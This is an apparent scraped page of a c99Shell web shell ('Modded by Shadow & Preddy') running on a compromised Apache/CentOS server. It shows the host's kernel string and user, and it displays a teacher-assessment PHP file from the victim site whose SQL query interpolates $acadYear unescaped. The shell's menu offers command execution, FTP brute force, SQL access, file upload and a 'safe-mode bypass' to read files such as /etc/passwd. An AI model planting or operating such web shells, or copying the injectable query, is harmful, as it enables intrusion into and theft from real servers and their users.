!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/teacher/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showAssTeacher.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
                <table width="100%" border="0" align="left" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                  <tr><td colspan="6">&nbsp;</td></tr>
                  <tr> 
                    <td height="22" colspan="6"> <fieldset>
                      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_6"]; ?>"><img src="../picture/bookmark.gif" width="12" height="13" border="0"> รายงานผลการประเมินทุกวิชา ในภาคการศึกษา <?php echo $acadYear; ?>จำแนกหัวข้อการประเมิน </font></legend>
                      <table width="95%" align="left" >
<?php
                            // define flag 8,1
                            $sql = "
                            SELECT af.*
                            FROM `DefineAssessment` da 
                            INNER JOIN AssessForm af ON da.assid = af.assid
                            WHERE `acadYear` = $acadYear
                            AND `flag` IN (1,8)
                            GROUP BY assid ";
                            $i = 0;
                            $oAF->SetQuery($sql);
                            while($oAF->GetRecord()){
                                if(($i%2) == 0)
                                    echo '<tr>';
                                else
                                    echo '<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';   ?>
                                <td width="" valign="top">
                                <img src="../picture/icoa15.jpg"  border ="0" align="top">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                                    <a href = "resultRQAllCourseTeSm.php?officerId=<? echo $officerId?>&acadYear=<? echo $acadYear;?>&assid=<? echo $oAF->assid; ?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;">
<?php
                                        if($oAF->maintopic == "")
                                            { echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; 
                                        }else{ echo $oAF->maintopic; 
                                        } echo "&nbsp;";
?>
                                </a></font></td>
<?php
                                    echo '</tr>';
                                $i++;
                            }
                            //$cols
                            //die();
?>
                        <? if($i==0) { ?>
                        <tr> 
                          <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                            ไม่ปรากฏรายการแบบประเมินที่ใช้ประเมินในปีการศึกษา 
                            <?php echo $acadYear ?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">&nbsp;</font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">**</font></td>
                        </tr>
                        <? } ?>
                      </table>

                      <p>&nbsp;</p>
                      </fieldset></td>
                  </tr>
                </table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0123 ]--